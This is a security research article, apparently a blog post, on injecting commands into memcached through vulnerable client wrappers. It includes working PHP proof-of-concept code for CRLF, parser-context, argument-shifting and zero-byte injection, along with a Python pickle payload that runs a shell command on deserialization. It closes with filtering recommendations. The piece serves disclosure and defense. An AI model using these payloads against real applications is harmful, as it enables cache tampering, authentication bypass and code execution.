A small injection for memcached

What is memcached?

But at first let us consider a small introduction. So memcached is a free and open high-performance distributed system for caching objects in memory. It is a storage of “key-value” type located in the operating memory and designed for small “portions” of arbitrary data (string values, numerical values, not infrequently serialized objects in the form of string values) such as results of queries to DB, results of API calls or generation of pages. In addition, memcached is a fully open development, is assembled and operated under UNIX, Windows, OS X and distributed under an open license. It is used by many popular web projects, for example, LiveJournal, Twitter, Flickr, YouTube, Wikipedia, etc. It is a normal network service with host-base authentication, which is operated in loopback interface on port 11211. memcached daemon supports UDP- and TCP-sockets and provides two different protocols for interaction with itself: text and binary. I suppose that this is all what we are to know about the patient so far.

Statement of the problem

Hence today we will devote our time to consideration of wrappers to memcached for various problems and try to check them for the presence of errors at the validation of input data at the protocol level. We will consider only those wrappers that support memcached text protocol; we will leave those wrappers that are operated under a binary protocol outside the framework of the paper as the material for future studies. Getting a little bit ahead, I’d like to say that as laboratory guinea-pig I have used wrappers for next popular platforms for development of web applications: Go, Java, Lua, PHP, Python, Ruby, .NET. The goal was to try to find something similar to classical injections (SQL, LDAP-injections) in wrappers for the text protocol. See below as to what made out of it.

memcached text protocol

But first let us get acquainted more closely with the memcached text protocol. It mainly includes sequences of commands and data ending by two CRLF (Carriage Return — Line Feed) bytes. However a little fuzzing and a simple analysis of the source code slightly open a somewhat different format of the protocol:

<command>0x20<argument>(LF|CRLF)
<data>CRLF

Zero byte (0х00) finishes any command of the text protocol, for example:

<command>0x20<argument><NULL>any postfix data(LF|CRLF)

In practice, most often one encounters cases when an application provides the user with the right to manage key names and key values (for example, set them or read them out). Therefore, in the first place, we will focus on them. There are no prohibited symbols in the key names (except, of course, control symbols 0x00, 0x20 and 0x0a) but there is a limitation on the maximum key name length, which is equal to 250 bytes.

However there is a subtle aspect concealed in the protocol itself: if daemon determined the first command as a storage command, then the data after LF(CRLF) will be interpreted as data for storage. In other cases, data after LF (CRLF) will be interpreted as the next command. Hence the daemon, obtaining sequence of lines, does itself select which of them are commands and which are data depending upon the context.

All memcached commands can conditionally be divided into the following classes:

  • storage (set, add, replace, append, prepend, cas);
  • reading (get, gets);
  • delete (delete);
  • increment/decrement (incr, decr);
  • touch;
  • slabs reassign;
  • slabs automove;
  • lru_crawler;
  • statistics (stats items, slabs, cachedump);
  • other (version, flush_all, quit).

In my study I tried to consider all these types but today we will mainly concentrate only on those of them that are most often used in real web applications. These are data storage and reading types.

Packet injection (command implantation) — 0x0a/0x0d bytes

We begin from consideration of the simplest attack vector, implantation of CRLF into the command argument. For example, as the key name for the set command. An example of a vulnerable code is given below. For convenience, the attack vector is placed into a string constant. In real applications, the vulnerable structure will have the form similar to $m->set(“prefix_”.$_GET[‘key’],”data”)

<?php
    $m = new Memcached(); 
    $m->addServer('localhost', 11211);
    $m->set("key1 0 0 1\r\n1\r\nset injected 0 3600 10\r\n1234567890\r\n","1234567890",30);
?>

In the given example, a new set command is placed into the key name. Please note that at first it is necessary to correctly finish the context; to this end, we transfer the length equal to 1 in the first line, then send data with the size of 1 byte (number 1 after CRLFs) and already after that we can begin a new context with the injected set command.

The data exchange between the client and server in such case will have the following form:

> set key 0 0 1
> 1
< STORED
> set injected 0 3600 10
> 1234567890
< STORED
> 0 30 10
< ERROR
> 1234567890
< ERROR

It should be noted that it is just logical command exchange according to memcached protocol rather than a dump of network traffic exchange. It is not difficult to correct the attack vector so that to avoid causing an error on the server side. In dump, all commands from the client will come in a single packet due to fragmentation but it will by no means violate the injection itself (see Fig. 1).

Fig. 1. Network traffic dump in case of a packet injection

Fig. 1. Network traffic dump in case of a packet injection

 

Parser context violation (interpretation of data for storing as a command)

It is the most elegant attack vector among all vectors detected. The text protocol normally handles a query line by line. In doing so, when the current line contains a value recording command, for example, set, the next line will be perceived as data. This feature of the plaintext-protocol is called the handling context.

But if the current line generates an error (for example, “incorrect key value”), then the next line will already be perceived as a command rather than data. What provide the intruder with the possibility to perform a command injection through the data storage area.

The data storage area, unlike key names, shall not be subject to any filtration according to the protocol; therefore, in particular, it can contain an arbitrary number of control symbols such as CRLFs. In reading the data storage area, the daemon is based on the size of data to be transmitted in the argument of the recording command such as set.

There are several various methods for violating the parser state with an error having preliminary caused in the storage command by transferring thereto the following:

  • key name longer than 250 bytes;
  • incorrect number of arguments (depends upon the command but it is evident that a a a a a a violates the operation of all of them).

An example of the vulnerable code is given below:

<?php
    $m = new Memcached();
    $m->addServer('localhost', 11211);
    $m->set(str_repeat(“a”,251),"set injected 0 3600 10\r\n1234567890",30);
?>

In this example, the protocol syntax is violated as the key is longer than 250 bytes, in case of such set command being received, the server will issue an error. The command handler context will again transfer into the command reception mode and the client will send data, which will be interpreted as a command. As a result, we again write the injected key with the value of 1234567890.

A similar result can be obtained by sending the space symbols in the key name so that the number of arguments of the set command should exceed the permissible limit. For example, having sent 1 2 3 as the key name.

The data exchange between the client and the server in such case will have the following form:

> set 1 2 3 0 30 36
< ERROR
> set injected 0 3600 10
> 1234567890
< STORED

The network traffic dump in case of such attack is given in Fig. 2.

Fig. 2. The network traffic dump in case of parser context violation

Fig. 2. The network traffic dump in case of parser context violation

 

Implantation of argument — 0x20 byte

At first, let us have a look at the syntax of storage commands:

<command name> <key> <flags> <exptime> <bytes> [noreply]\r\n
cas <key> <flags> <exptime> <bytes> <cas unique> [noreply]\r\n

The last optional argument opens the possibility of injection. All memcached drivers tested do not install the noreply argument for storage commands. Therefore, an intruder can implant spaces (0х20 bytes) in order to shift the exptime argument into the position of bytes, which allows to implant a new command into the packet data field (it should be noted that the packet data field is not shielded, only its length is verified).

That is how the normal packet looks like (it retains the key for 30s, contains 10 bytes of data, the noreply argument is empty):

set key1 0 30 10
1234567890

And there goes an example with the space implanted (now the key is retains for 0s, the packet contains 30 bytes of data, 52 is the real length of data to be computed by the driver):

set key1 0 0 30 52
123456789012345678901234567890\r\nget injectionhere111

The code demonstrating this attack is given below:

<?php
    $m = new Memcached();
    $m->addServer('localhost', 11211);
    // normal
    $m->set("key1","1234567890",30);
    // injection here, without CRLF at key
    $m->set("key 0","123456789012345678901234567890\r\nset injected 0 3600 3\r\nINJ",30);
?>

In this example, the space in the key name makes the 0 value a new argument of the set command, and the arguments to be writing up by the driver itself will thereby shift by one position. As a result, the 30 value to be transferred by the driver as the key life cycle will be perceived as the length of data storage area. Incorrect determination of the length of data storage area gives us, in turn, the possibility of placing an attack vector thereto (data are never filtered). The data exchange between the client and server in such case will have the following form:

> set key 0 0 30 60
> 123456789012345678901234567890
< STORED
> set injected 0 3600 3
> INJ
< STORED

The network traffic dump in case of such attack is given in Fig. 3.

Fig. 3. Network traffic dump in case of an argument implantation

Fig. 3. Network traffic dump in case of an argument implantation

 

Violation of the length of data (zero byte)

It is rather a conceptual attack that has not been found in the wrappers tested. However it can be detected in various memcached libraries. Essentially, we assume that the zero byte in the data field can violate computation of the length of data to be performed at the level of driver (wrapper). An example (the length of data computed does not match the real length — after the zero byte):

set a 0 3600 10
123456789\0\r\nset injected 0 3600 3\r\nINJ\r\n

Case of object manipulation

Memcached is mainly used for storing serialized values. Therefore, in case of injection it is prone to such drawback as CWE-502 “Deserialization of unreliable data”. The intruder can implant arbitrary serialized data into the key value and expect deserialization after their readout by a target application.
The effect from this operation depends not only on the application code but also on implementation of the deserialization mechanism in the execution environment on the whole. So in case of Java and PHP the vulnerability is implemented only with unsafe magic methods of classes and for Python, on the contrary, it will immediately provide the possibility to execute arbitrary OS commands without any additional conditions.

PHP

It should be noted that the get() operation in memcached is an equivalent to unserialize() in PHP. Hence the injection in memcached for PHP is equivalent to the following expression: unserialize($_GET[data]). In recent time the operation of such vulnerabilities has been intensively studied. In order to demonstrate deserialization, we consider the following example:

<?php
    class a {
        function __wakeUp(){
            echo "\n deserialized! \n";
            }
    }

    $m = new Memcached();
    $m->addServer('localhost', 11211);

    $m->set("asd", new a());
    $m->get("asd");
?>

In this case, after the get() command is called the driver will figure it out on its own that the line to be returned compose serialized data and deserialize them into an object. It will just lead to a call of the magic destructor method, which, in this example, will print a message to console.

Python

Now it is turn of python. Look at the rcedata value saved in memcached:

get rcedata
VALUE rcedata 1 47
?csubprocess
Popen
qU
  /usr/bin/idq?q?qRq.
END

It is a classic Pickle RCE exploit of deserialization. The following code executes it:

import pylibmc
mc = pylibmc.Client(["127.0.0.1"])
b = mc.get("rcedata")

In this example, the data in deserialization restore the state by means of a function built into these data themselves. Such function contains the code of execution of the id command in the shell.

Platforms considered and the results obtained

In the process of studying I had to check many memcached wrappers for popular web development platforms in order to identify the availability of vulnerabilities in them in respect to the attacks considered above. I have systematized all the results obtained, and eventually I have obtained the following table (given in Fig. 4). In this table, the wrappers in which the availability of vulnerability was confirmed are highlighted in red color. And additional information on errors in the user input verification is placed into cells in the form of listing of non-filtered bytes. As you can see, a lot of red color has been obtained.

Fig. 4. List of proven wrappers (vulnerable ones are marked in red color)

Fig. 4. List of proven wrappers (vulnerable ones are marked in red color)

 

It has become interesting which of the popular web applications will be under threat due to the fact that wrappers containing vulnerability are used. Therefore I have had a run through the applications being used and have prepared the following table (see Fig. 5). In this table, too, those sections of the source code of popular web applications have been highlighted that use vulnerable implementations of memcached drivers. If one has a slightly deeper look, then, I believe, this list can be considerably extended. But you can do it by yourself at leisure.

Fig. 5. List of proven web applications (red ones use vulnerable wrappers)

Fig. 5. List of proven web applications (red ones use vulnerable wrappers)

 

Recommendations

A good variant of protection against such kind of injections will be the use of the binary protocol of client-server interaction. Such approach excludes the possibility of implanting protocol commands in the data storage or key name area, as it is supported by obligatory indication of the length of values in the packet.

The key feature of the plaintext protocol is just the use of delimiters, for which the absence of check in the key name data and their values leads to injections. In order to implement data filtration, it is necessary to use the following rules:

  • length — 250 bytes;
  • filtration 0x00, 0x0a, 0x09, 0x0d, 0x20 bytes.

An example of good screening at the level of driver (wrapper) can be seen using the [link] (bit.ly/Wa7pza). I will provide a small segment of the code:

if (keyBytes.length > MemcachedClientIF.MAX_KEY_LENGTH) {
  throw new IllegalArgumentException("Key is too long (maxlen = "
      + MemcachedClientIF.MAX_KEY_LENGTH + ")");
}
...
  for (byte b : keyBytes) {
    if (b == ' ' || b == '\n' || b == '\r' || b == 0) {

Conclusions

The time has come to make conclusions. As you can see the study of drivers for operations with the popular storage of memcached data has shown their vulnerability. Vulnerabilities on the whole bear a character of errors of filtration of input parameters. The practical part of operation allows not only to implant commands into the protocol of exchange between server and client, thus executing all the operations available within the framework of the protocol (reading/writing/deletion of keys, etc.) but also touches other driver functions such as object deserialization. As was shown, in a number of cases, unsafe deserialization of data from the storage allows to execute an arbitrary code on the system.

Hence now it is safe to say that it is possible to perform attacks on memcached databases similar to SQL injections. And similar attacks in practice will lead to various results: from bypass of authentication to execution of an arbitrary interpreter program code.


Leave a Reply

XHTML: You can use these tags: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>